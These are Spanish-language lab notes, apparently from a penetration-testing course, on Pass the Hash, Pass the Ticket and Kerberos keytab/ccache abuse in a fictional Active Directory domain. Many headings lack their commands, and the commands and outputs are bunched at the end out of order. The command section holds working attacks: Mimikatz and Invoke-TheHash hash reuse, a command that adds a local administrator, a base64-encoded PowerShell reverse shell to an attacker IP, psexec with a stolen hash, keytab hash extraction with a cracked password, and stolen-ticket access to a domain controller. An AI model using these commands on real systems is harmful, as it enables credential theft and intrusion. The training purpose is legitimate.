/user- El nombre de usuario que queremos suplantar.
/rc4 o /NTLM- Hash NTLM de la contraseña del usuario.
/domain- Dominio al que pertenece el usuario a suplantar. En el caso de una cuenta de usuario local, podemos utilizar el nombre del equipo, localhost o un punto (.).
/run- El programa que queremos ejecutar con el contexto del usuario (si no se especifica, ejecutará cmd.exe).
Pass the Hash from Windows Using Mimikatz:
c:\tools> mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:testing.local /run:cmd.exe" exituser : juliodomain : testing.localprogram : cmd.exeimpers. : noNTLM : 64F12CDDAA88057E06A81B54E73B949B| PID 8404| TID 4268| LSA Process was already R/W| LUID 0;5218172(00000000:004f9f7c) \_ msv1_0 - data copy @ 0000028FC91AB510 : OK ! \_ kerberos - data copy @ 0000028FC964F288 \_ des_cbc_md4 -> null \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ *Password replace @ 0000028FC9673AE8(32)-> null
Pass the Hash with PowerShell Invoke-TheHash (Windows)
Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en Windows es Invoke-TheHash
Target- Nombre de host o dirección IP del objetivo.
Username- Nombre de usuario a utilizar para la autenticación.
Domain- Dominio que se utilizará para la autenticación. Este parámetro no es necesario con cuentas locales ni cuando se utiliza @dominio después del nombre de usuario.
Hash- Hash de contraseña NTLM para autenticación. Esta función aceptará el formato LM:NTLM o NTLM.
Command- Comando que se ejecutará en el destino. Si no se especifica un comando, la función comprobará si el nombre de usuario y el hash tienen acceso a WMI en el destino.
Los límites de UAC pasan el hash para las cuentas locales
El UAC (Control de cuentas de usuario) limita la capacidad de los usuarios locales para realizar operaciones de administración remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyse establece en 0, significa que la cuenta de administrador local integrada (RID-500, "Administrador") es la única cuenta local a la que se le permite realizar tareas de administración remota. Si se establece en 1, también se permite a los demás administradores locales.
Otro método para moverse lateralmente en un entorno de Active Directory se denomina Pass the Ticket (PtT) attack. En este ataque, utilizamos un ticket de Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM.
Kerberos Protocol Refresher
El sistema de autenticación Kerberos se basa en tickets. La idea central detrás de Kerberos no es dar una contraseña de cuenta a cada servicio que se utiliza. En cambio, Kerberos conserva todos los tickets en el sistema local y presenta a cada servicio solo el ticket específico para ese servicio, lo que evita que un ticket se utilice para otro propósito.
El TGT - Ticket Granting Ticketes el primer ticket obtenido en un sistema Kerberos. El TGT permite al cliente obtener tickets Kerberos adicionales o TGS.
Los usuarios los TGS - Ticket Granting Servicesolicitan cuando quieren utilizar un servicio. Estos tickets permiten que los servicios verifiquen la identidad del usuario.
Cuando un usuario solicita un ticket TGT, debe autenticarse en el controlador de dominio cifrando la marca de tiempo actual con el hash de su contraseña. Una vez que el controlador de dominio valida la identidad del usuario (porque el dominio conoce el hash de la contraseña del usuario, lo que significa que puede descifrar la marca de tiempo), envía al usuario un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, no tiene que demostrar quién es con su contraseña.
Si el usuario desea conectarse a una base de datos MSSQL, solicitará un Ticket Granting Service (TGS) al Centro de Distribución de Claves (KDC), presentando su Ticket Granting Ticket (TGT). Luego entregará el TGS al servidor de base de datos MSSQL para su autenticación.
Pass the Ticket (PtT) Attack
Necesitamos un ticket Kerberos válido para realizar una operación Pass the Ticket (PtT). Puede ser:
Ticket de servicio (TGS - Ticket Granting Service) para permitir el acceso a un recurso en particular.
Ticket Granting Ticket (TGT), que utilizamos para solicitar tickets de servicio para acceder a cualquier recurso para el cual el usuario tenga privilegios.
Harvesting Kerberos Tickets from Windows
Mimikatz - Export Tickets
Rubeus - Export Tickets
Pass the Key or OverPass the Hash
La técnica tradicional Pass the Hash (PtH)implica reutilizar un hash de contraseña NTLM que no toca Kerberos. El enfoque Pass the Keyor OverPass the Hashconvierte un hash/clave (rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido a un dominio en un hash completo Ticket-Granting-Ticket (TGT). Esta técnica fue desarrollada por Benjamin Delpy y Skip Duckwall en su presentación Abusing Microsoft Kerberos - Sorry you guys don't get it .Will Schroeder también adaptó su proyecto para crear la herramienta Rubeus .
Para falsificar nuestros tickets, necesitamos tener el hash del usuario; podemos usar Mimikatz para volcar todas las claves de cifrado Kerberos de los usuarios mediante el módulo sekurlsa::ekeys. Este módulo enumerará todos los tipos de claves presentes para el paquete Kerberos.
Mimikatz - Extract Kerberos Keys
Mimikatz - Pass the Key or OverPass the Hash
Esto creará una nueva cmd.exeventana que podemos usar para solicitar acceso a cualquier servicio que queramos en el contexto del usuario objetivo.
Para falsificar un ticket usando Rubeus, podemos usar el módulo asktgtcon el nombre de usuario, el dominio y el hash que puede ser /rc4, /aes128, /aes256o /des. En el siguiente ejemplo, usamos el hash aes256 de la información que recopilamos usando Mimikatz sekurlsa::ekeys.
Rubeus - Pass the Key or OverPass the Hash
Pass the Ticket (PtT)
Rubeus Pass the Ticket
Rubeus - Pass the Ticket
Convert .kirbi to Base64 Format
Pass the Ticket - Base64 Format
Por último, también podemos realizar el ataque Pass the Ticket utilizando el módulo Mimikatz kerberos::ptty el archivo .kirbi que contiene el ticket que queremos importar.
Mimikatz - Pass the Ticket
Pass The Ticket with PowerShell Remoting (Windows)
PowerShell Remoting nos permite ejecutar scripts o comandos en un equipo remoto. Los administradores suelen utilizar PowerShell Remoting para administrar equipos remotos en la red. Al habilitar PowerShell Remoting se crean escuchas HTTP y HTTPS. La escucha se ejecuta en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.
Mimikatz - PowerShell Remoting with Pass the Ticket
Mimikatz - Pass the Ticket for Lateral Movement.
Rubeus - PowerShell Remoting with Pass the Ticket
Rubeus tiene la opción createnetonly, que crea un proceso de sacrificio/sesión de inicio de sesión ( Tipo de inicio de sesión 9 ). El proceso está oculto de forma predeterminada, pero podemos especificar el indicador /showpara mostrar el proceso y el resultado es el equivalente a runas /netonly. Esto evita el borrado de los TGT existentes para la sesión de inicio de sesión actual.
Create a Sacrificial Process with Rubeus
El comando anterior abrirá una nueva ventana cmd. Desde esa ventana, podemos ejecutar Rubeus para solicitar un nuevo TGT con la opción /pttde importar el ticket a nuestra sesión actual y conectarnos al controlador de dominio mediante PowerShell Remoting.
Rubeus - Pass the Ticket for Lateral Movement
Pass the Ticket (PtT) from Linux
En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como ccache files en el /tmpdirectorio. De forma predeterminada, la ubicación del ticket Kerberos se almacena en la variable de entorno KRB5CCNAME. Esta variable puede identificar si se están utilizando tickets Kerberos o si se ha cambiado la ubicación predeterminada para almacenar tickets Kerberos. Estos ccache files están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o privilegios de root podría acceder fácilmente a estos tickets.
Identifying Linux and Active Directory Integration
PS - Check if Linux Machine is Domain Joined
Finding Kerberos Tickets in Linux
Finding Keytab Files
Using Find to Search for Files with Keytab in the Name
Identifying Keytab Files in Cronjobs
Finding ccache Files
Reviewing Environment Variables for ccache Files.
Searching for ccache Files in /tmp
Abusing KeyTab Files
Listing keytab File Information
Impersonating a User with a keytab
Connecting to SMB Share as Carlos
Extracting Keytab Hashes with KeyTabExtract
Crackeando el hash NT :
obtenemos la contraseña en texto plano
Log in as Carlos
Carlos tiene un cronjob que utiliza un archivo keytab llamado svc_workstations.kt. Podemos repetir el proceso, descifrar la contraseña e iniciar sesión como svc_workstations.
Abusing Keytab ccache
Looking for ccache Files
Identifying Group Membership with the id Command
Importing the ccache File into our Current Session
Using Linux Attack Tools with Kerberos
Host File Modified
Proxychains Configuration File
Download Chisel to our Attack Host
Execute chisel from MS01
Setting the KRB5CCNAME Environment Variable
Impacket
Using Impacket with proxychains and Kerberos Authentication
Evil-Winrm
Kerberos Configuration File for INLANEFREIGHT.HTB
Using Evil-WinRM with Kerberos
Miscellaneous
Impacket Ticket Converter
Importing Converted Ticket into Windows Session with Rubeus
Linikatz
Linikatz es una herramienta creada por el equipo de seguridad de Cisco para explotar credenciales en máquinas Linux cuando existe una integración con Active Directory. En otras palabras, Linikatz trae un principio similar a Mimikatzlos entornos UNIX.
PS c:\htb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
VERBOSE: [+] inlanefreight.htb\julio successfully authenticated on 172.16.1.10
VERBOSE: inlanefreight.htb\julio has Service Control Manager write privilege on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU created on 172.16.1.10
VERBOSE: [*] Trying to execute command on 172.16.1.10
[+] Command executed with service EGDKNNLQVOLFHRQTQMAU on 172.16.1.10
VERBOSE: Service EGDKNNLQVOLFHRQTQMAU deleted on 172.16.1.10
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
[+] Command executed with process id 520 on DC01
$ impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.129.201.126.....
[*] Found writable share ADMIN$
[*] Uploading file SLUBMRXK.exe
[*] Opening SVCManager on 10.129.201.126.....
[*] Creating service AdzX on 10.129.201.126.....
[*] Starting service AdzX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
$ crontab -l
# Edit this file to introduce tasks to be run by cron.
#
<SNIP>
#
# m h dom mon dow command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:02:11 10/07/22 03:02:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:02:11
~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
~$ klist
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:16:11 10/07/22 03:16:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/07/22 17:16:11
$ smbclient //dc01/carlos -k -c ls
. D 0 Thu Oct 6 14:46:26 2022
.. D 0 Thu Oct 6 14:46:26 2022
carlos.txt A 15 Thu Oct 6 14:46:54 2022
7706623 blocks of size 4096. 4452852 blocks available
$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : INLANEFREIGHT.HTB
SERVICE PRINCIPAL : carlos/
NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4
a738f92b3c08b424ec2d99589a9cce60 : Password5
$ su - carlos@inlanefreight.htb
Password:
carlos@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: carlos@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 11:01:13 10/07/2022 21:01:13 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 11:01:13
$ ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
svc_workstations@inlanefreight.htb@10.129.204.23's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...SNIP...
svc_workstations@inlanefreight.htb@linux01:~$ sudo -l
[sudo] password for svc_workstations@inlanefreight.htb:
Matching Defaults entries for svc_workstations@inlanefreight.htb on linux01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User svc_workstations@inlanefreight.htb may run the following commands on linux01:
(ALL) ALL
svc_workstations@inlanefreight.htb@linux01:~$ sudo su
root@linux01:/home/svc_workstations@inlanefreight.htb# whoami
root
ls -la /tmp
total 76
drwxrwxrwt 13 root root 4096 Oct 7 11:35 .
drwxr-xr-x 20 root root 4096 Oct 6 2021 ..
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 11:35 krb5cc_647401106_qMKxc6
-rw------- 1 david@inlanefreight.htb domain users@inlanefreight.htb 1406 Oct 7 10:43 krb5cc_647401107_O0oUWh
-rw------- 1 svc_workstations@inlanefreight.htb domain users@inlanefreight.htb 1535 Oct 7 11:21 krb5cc_647401109_D7gVZF
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 3175 Oct 7 11:35 krb5cc_647402606
-rw------- 1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct 7 11:01 krb5cc_647402606_ZX6KFA
root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/07/2022 13:25:01 10/07/2022 23:25:01 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
$Recycle.Bin DHS 0 Wed Oct 6 17:31:14 2021
Config.Msi DHS 0 Wed Oct 6 14:26:27 2021
Documents and Settings DHSrn 0 Wed Oct 6 20:38:04 2021
john D 0 Mon Jul 18 13:19:50 2022
julio D 0 Mon Jul 18 13:54:02 2022
pagefile.sys AHS 738197504 Thu Oct 6 21:32:44 2022
PerfLogs D 0 Fri Feb 25 16:20:48 2022
Program Files DR 0 Wed Oct 6 20:50:50 2021
Program Files (x86) D 0 Mon Jul 18 16:00:35 2022
ProgramData DHn 0 Fri Aug 19 12:18:42 2022
SharedFolder D 0 Thu Oct 6 14:46:20 2022
System Volume Information DHS 0 Wed Jul 13 19:01:52 2022
tools D 0 Thu Sep 22 18:19:04 2022
Users DR 0 Thu Oct 6 11:46:05 2022
Windows D 0 Wed Oct 5 13:20:00 2022
7706623 blocks of size 4096. 4447612 blocks available